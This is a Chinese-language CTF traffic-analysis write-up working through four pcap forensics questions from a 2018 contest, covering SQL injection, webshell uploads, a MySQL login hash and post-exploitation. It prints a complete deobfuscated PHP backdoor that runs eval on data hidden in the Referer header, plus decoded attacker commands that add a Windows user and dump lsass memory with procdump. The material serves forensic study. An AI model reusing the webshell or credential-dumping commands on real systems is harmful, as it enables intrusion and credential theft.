CTF数据分析题详解

news2024/11/27 14:34:57

目录

题目一(1.pcap)

题目二(2.pcap)

题目三(3.pcap)

题目四(4.pcap)


CTF流量分析经典例题详解-CSDN博客

本文章涉及的所有题目附件下载地址: 链接:

https://pan.baidu.com/s/18mWo5vn1zp_XbmcQrMOKRA 提取码:hrc4

声明:这里的例题都是已经总结好的,我只是在本篇中进行学习和复现

题目一(1.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.黑客攻击的第一个受害主机的网卡IP地址

2.黑客对URL的哪一个参数实施了SQL注入

3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)

4.第一个受害主机网站数据库的名字

首先我们使用Wireshark打开这个数据包

注:这个包比较大,打开可能会话费一点时间

打开之后可以看到里面的内容确实是非常的多,因为该题目并不需要找flag,因此也就不需要去使用查找来查找flag了,而且题目中已经给了我们要求

(1)那么看看第一个,寻找受害主机的网卡ip地址

根据后面的问题该包中应该有黑客试试SQL注入的过程,既然是SQL注入那么应该是有使用HTTP协议参与,那么我们试着筛选一下HTTP协议的数据包

可以看到,这里始终是202.1.1.2向192.168.1.8进行GET请求,192.168.1.8对202.1.1.2的请求包做出相应,并且每次GET请求的内容还是不同的,从这些方面可以看出来,攻击者的ip为202.1.1.2受害者的ip地址为192.168.1.8

这里就回答了第一个问题:受害者的网卡ip为:192.168.1.8

(2)第二个问题,黑客对URL的哪一个参数实施了SQL注入

我们再次分析一下这个包,看到下面时,SQL注入已经显现了出来,根据GET后面传输的数据可以看出黑客注入的参数

第二个问题的答案就是:黑客传入的参数为list[select]

(3) 第三个问题,第一个受害主机网站数据库的表前缀(加上下划线例如abc_)

既然需要找受害主机网站数据库的表前缀,那么我们试着对攻击者的注入行为进行一个数据流追踪

现在第三个问题的答案也就出来了:可以清楚的从追踪的HTTP数据流中看到数据的表前缀应该为:ajtuc_

(4)最后一个问题,第一个受害主机网站数据库的名字

现在就剩下最后一个问题了,要找出受害网站数据库的名称,这也很简单的,使用同样的方追踪最后一次SQL注入的数据流,但是好像里面并没有数据库名称,这时因为上面我们选择了一个任意的一个数据包,里面可以还未正在注入出数据库名

注:这里选取的数据包是进行最后一次SQL注入的数据包,因为一次成功的SQL注入,最后一次注入一般都是已经知道数据库名称、数据库中的表名称、表中的字段名称了

其实在下面的HTTP包中我么已经可以看到一个疑似数据库名的了,稳妥起见我们还是将GET传入的参数进行URL解码

可以看到解码后的数据库名就很明显了

因此最后一个问题的答案就是joomla

注:既然题目问的都是第一次的我们可以使用下面的语句来缩小查找范围:

(ip.addr==202.1.1.2 || ip.addr == 192.168.1.8) && http

题目二(2.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.黑客第一次获得的php木马的密码是什么 (POST)

2.黑客第二次上传php木马是什么时间 (POST)

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

首先我们使用Wireshark打开这个数据包

这几个题目之间是有关联的,因此我们已经将攻击者和受害者的ip地址知道了,这里可以直接来筛选以缩小查找范围

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

(1)直接看第一个问题,黑客第一次获得的php木马的密码是什么 (POST)

php木马的密码应该是黑客使用POST传参传递到客户端的一个恶意php文件,首先必须要知道这个文件是哪个,那么我们分析了一下这些数据包发现有个很可疑的文件

点开该文件后,会发现这正是黑客上传的php木马文件,同样可以看到该木马的密码为zzz

因此第一个问题的答案就是zzz

(2)再来看看第二个问题,黑客第二次上传php木马是什么时间 (POST)

第二次上传木马的时间,那么首先我们需要找到第二次上传的木马,分析了一些数据包后

分析这几个包的区别之后发现,这个z2非常可疑,因此对它里面的内容进行了复制,然后使用HXD打开

将文件保存为php,但是代码经过混淆过的,在代码末尾加上下面两句代码

var_dump($j);
var_dump($x);

将该文件上传到kail中,然后运行php进行解混淆,发现这就是木马

由此可确定这个引人注目的包上传了第二个木马 在Wireshark中查看第二个包的上传时间

因此第二题的答案:上传时间为:17:20:44.248365

(3)最后一个问题,第二次上传的木马通过HTTP协议中的哪个头传递数据

我们将上面的目php木马文件代码美化后:

$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr); //这里会分解
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    //一共有三个分组,
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

可以看到

$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];

这两个参数和HTTP有关

我们再分析一个这个数据包,发现可以看到许多请求footer.php的页面,点开一个查看详情

会发现这里的referer很可疑,而accept-language是正常的因此第三个问题的答案也就呼之欲出了

第二次上传的木马是通过HTTP协议中的referer头

题目三(3.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)

2.php代理第一次被使用时最先连接了哪个IP地址

首先我们使用Wireshark打开这个数据包

(1)可以看到第一个问题问的是mysql的用户名和密码的哈希值

那么我们先来筛选一下mysql服务

tcp contains "mysql" && mysql

通过筛选的结果可以看到,这个数据包中有很多登录请求,并且用户名为admin,第一个问题的答案就出现了一半了,还需要正确的哈希密码,我们可以想一下,只有在输入了正确的用户名和密码后才会登录成功,因此我们打开最后一次登录的请求包

这样就得到了正确的用户名和密码:admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

(2)来看看第二个问题问的啥,php代理第一次被使用时最先连接了哪个IP地址

首先我们还是过滤一下ip地址与协议

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

然后对这些数据包进行分析

 发现了这个比较可疑的数据包,因此它这里有连接的操作,因此第二个问题的答案就出来了,

连接的ip地址为:4.2.2.2

题目四(4.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:

1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

2.黑客在内网主机中添加的用户名和密码是多少

3.黑客从内网服务器中下载下来的文件名

首先我们使用Wireshark打开这个数据包

(1)首先是第一个问题:黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

为确定黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候,我们继续进行过滤,源ip地址和目标ip地址我们都是知道的,因此直接筛选缩小范围,然后就是如果黑客需要拿取目标主机中的文件,就会指定dir或者ls命令来列出当前目录中有那些文件,因此我们还需要过滤字符ls和dir

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

筛选的结果很明显可以看出来,黑客确实使用了ls和dir这两个命令

我们可以分别对这两个数据包进行流量追踪,看其是否可以执行成功

 

可以看懂ls命令并没有执行成功

可以看到dir命令是执行成功的,因此我们可以判断出目标主机是windows操作系统的,并且本题的答案也就出来了,也就是这个数据包执行的时间:  2018 18:36:59.770782000 

(2)第二个问题是黑客在内网主机中添加的用户名和密码是多少

根据提示我们可以使用以下命令来查看攻击者如何实施的攻击,也就有可能能从中找到黑客添加的用户名和密码

ip.addr == 192.168.2.20 && http

 从这里可以看到黑客给名为sh.php文件中写入了后门

根据提示我们可以使用以下命令来仅对黑客执行的操作的数据包进行过滤分析

ip.src == 192.168.2.20 && http

在18:50:09.344660时,我们发现可疑操作,我们发现一条可疑数据,判断黑客应该是执行了net user的命令

然后在18:50:42.908737发现黑客再次执行了net user命令 此时回显为:

 

 看来黑客成功添加了管理员用户kaka 确定了大致的作案时间

根据之前的判断,我们可以知道 18:49:27.767754时,不存在kaka用户 18:50:42.908737时,kaka用户已成为管理员 所以可以断定作案时间点在这段时间内

在此期间,一共4个POST请求,我们挨个查看,果不其然,在第一个POST中就发现了问题

Y2QvZCJDOlxwaHBTdHVkeVxXV1dcYjJldm9sdXRpb25caW5zdGFsbFx0ZXN0XCImbmV0IHVzZXIg
a2FrYSBrYWthIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0=

解码后

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

可以明显看到

net user kaka kaka /add

于是可以断定,用户名和密码均为kaka

(3)最后一个问题问黑客从内网服务器中下载了的文件名

最后一题既然是下载,应该是利用中国菜刀进行下载了,那我们只过滤出post流量,查看命令即可

ip.dst == 192.168.2.20 && http.request.method==POST

然后我们在数据包的最后发现如下数据

我们将其进行base64解码后的结果:

cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E]

可以看到其用了procdump.exe,并且发现了文件

将其解码:

C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp

 可以看到我们最后一个问题的答案出现了:lsass.exe_180208_185247.dmp

到此。四个数据分析题就演示完毕了(^▽^)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1357167.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python统计分析——直方图(df.hist)

使用dataframe.hist()或series.hist()函数绘制直方图 import numpy as np import pandas as pd from matplotlib import pyplot as plt.dfpd.DataFrame(data{type:[A,A,A,A,A,A,A,A,A,A,B,B,B,B,B,B,B,B,B,B],value:[2,3,3,4,4,4,4,5,5,6,5,6,6,7,7,7,7,8,8,9] }) serpd.Serie…

Focal Loss

1、样本不均衡的 问题 与 方案 Focal loss 用于解决上述 样本不均衡的问题 : \quad 1、正负样本数量不均衡 \quad 2、易分类的样本和难分类的样本数量不均衡

4.快速实现增删改查,模糊查询功能

打开springboot项目&#xff0c;在com.example下建包common,在common下新建Result.java 4.1封装统一的返回数据结构 1.在Result.java中编写如下代码&#xff1a; private static final String *SUCCESS*"0"; private static final String *ERROR*"-1"; p…

使用Kafka与Spark Streaming进行流数据集成

在当今的大数据时代&#xff0c;实时数据处理和分析已经变得至关重要。为了实现实时数据集成和分析&#xff0c;组合使用Apache Kafka和Apache Spark Streaming是一种常见的做法。本文将深入探讨如何使用Kafka与Spark Streaming进行流数据集成&#xff0c;以及如何构建强大的实…

rime中州韵小狼毫 help lua Translator 帮助消息翻译器

lua 是 Rime中州韵/小狼毫输入法强大的武器&#xff0c;掌握如何在Rime中州韵/小狼毫中使用lua&#xff0c;你将体验到什么叫 随心所欲。 先看效果 在 rime中州韵 输入效果一览 中的 &#x1f447; help效果 一节中&#xff0c; 我们看到了在Rime中州韵/小狼毫输入法中输入 h…

Python(wordcloud):根据文本数据(.txt文件)绘制词云图

一、前言 本文将介绍如何利用python来根据文本数据&#xff08;.txt文件&#xff09;绘制词云图&#xff0c;除了绘制常规形状的词云图&#xff08;比如长方形&#xff09;&#xff0c;还可以指定词云图的形状。 二、相关库的介绍 1、安装相关的库 pip install jieba pip i…

how2heap-2.23-04-unsorted_bin_leak

#include<stdio.h> #include<malloc.h>int main() {char* a malloc(0x88);char* b malloc(0x8);free(a);long* c malloc(0x88);printf("%lx , %lx\n",c[0],c[1]);return 0; }unsorted bin leak原理&#xff1a;将chunk从unsorted bin申请回来时&#…

Transforer逐模块讲解

本文将按照transformer的结构图依次对各个模块进行讲解&#xff1a; 可以看一下模型的大致结构&#xff1a;主要有encode和decode两大部分组成&#xff0c;数据经过词embedding以及位置embedding得到encode的时输入数据 输入部分 embedding就是从原始数据中提取出单词或位置&…

matlab如何标定相机内外参和畸变参数

关于内外参矩阵和畸变矩阵可以学习 https://blog.csdn.net/qq_30815237/article/details/87530011?spm1001.2014.3001.5506 在APP中找到 camera Calibrator 点击 Add Images&#xff0c;导入拍照图片。标定20张左右就够了&#xff0c;然后角度变一下&#xff0c;但不需要变太…

微信小程序+前后端开发学习材料

目录结构 全局文件 1.app.json 文件 用来对微信小程序进行全局配置&#xff0c;决定页面文件的路径、窗口表现、设置网络超时时间、设置多 tab 等。文件内容为一个 JSON 对象。 1.1 page用于指定小程序由哪些页面组成&#xff0c;每一项都对应一个页面的 路径&#xff08;含文…

计算机基础面试题 |10.精选计算机基础面试题

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

UE相关杂项笔记

1.PAK包解析 UE4如何反向查找Pak里面包含哪些文件 - 哔哩哔哩 CMD控制台命令输入 D:&quot;Epic Games&quot;\UE_5.1\Engine\Binaries\Win64\UnrealPak.exe 包路径 -list *文件夹带空格时 添加“ ”包裹住文件夹名 解包工具路径 UE引擎安装路径\UE_5.1\Engine\Binarie…

sql:定时执行存储过程(嵌套存储过程、使用游标)

BEGINDeclare FormNo nvarchar(20) --单号Declare Type nvarchar(50) --类型Declare PickedQty float -Declare OutQty float Declare 生产量 floatDeclare 已装箱数量 float Declare 已入库数量 floatDeclare 损耗数量 float Declare 退货品出库数量 intdeclare k c…

Mac上修复Gitee报错 Oauth: Access token is expired

一. 背景&#xff1a; 最近在gitee上拉了两次项目&#xff0c;两次使用的邮箱密码不一致&#xff08;换绑邮箱&#xff09;&#xff0c;第一次在idea中拉取后端项目&#xff0c;第二次在webstorm中拉取前端项目&#xff0c;出现该异常&#xff0c;记录下解决方案 二. 错误回显…

burpsuite模块介绍之项目选项

使用该模块中的功能实现对token的爆破 靶场搭建:phpstudy的安装与靶场搭建 - junlin623 - 博客园 (cnblogs.com) 实现 1)先抓个包 2)设置宏 要实现我们爆破的时候请求的token也跟靶场一样一次一换从而实现爆破,那就需要用到项目选项中的宏(预编译功能)

用 Python 抓取 bilibili 弹幕并分析!

01 实现思路 首先&#xff0c;利用哔哩哔哩的弹幕接口&#xff0c;把数据保存到本地。接着&#xff0c;对数据进行分词。最后&#xff0c;做了评论的可视化。 02 弹幕数据 平常我们在看视频时&#xff0c;弹幕是出现在视频上的。实际上在网页中&#xff0c;弹幕是被隐藏在源代码…

windows+django+nginx部署静态资源文件

平台&#xff1a;windows python&#xff1a;3.10.0 django&#xff1a;4.0.8 nginx&#xff1a;1.24.0 背景 开发阶段采用前后端分离模式&#xff0c;现在要将项目部署到工控机上&#xff0c;把前端项目编译出来的静态文件放到后端项目中进行一体化部署&#xff0c;且不修改…

opencv006 绘制直线、矩形、⚪、椭圆

绘制图形是opencv经常使用的操作之一&#xff0c;库中提供了很多有用的接口&#xff0c;今天来学习一下吧&#xff01; &#xff08;里面的函数和参数还是有点繁琐的&#xff09; 最终结果显示 函数介绍 直线 line(img, pt1, pt2, color, thickness, lineType, shift) img: 在…

Python从入门到网络爬虫(内置函数详解)

前言 Python 内置了许多的函数和类型&#xff0c;比如print()&#xff0c;input()等&#xff0c;我们可以直接在程序中使用它们&#xff0c;非常方便&#xff0c;并且它们是Python解释器的底层实现的&#xff0c;所以效率是比一般的自定义函数更有效率。目前共有71个内置函数&…

Java编程中的IO模型详解:BIO,NIO,AIO的区别与实际应用场景分析

IO模型 IO模型就是说用什么样的通道进行数据的发送和接收&#xff0c;Java 共支持3种网络编程IO 模式&#xff1a;BIO,NIO,AIO BIO(Blocking lO) 同步阻塞模型&#xff0c; 一个客户端连接对应一个处理线程 代码示例&#xff1a; package com.tuling.bio; import java.io.…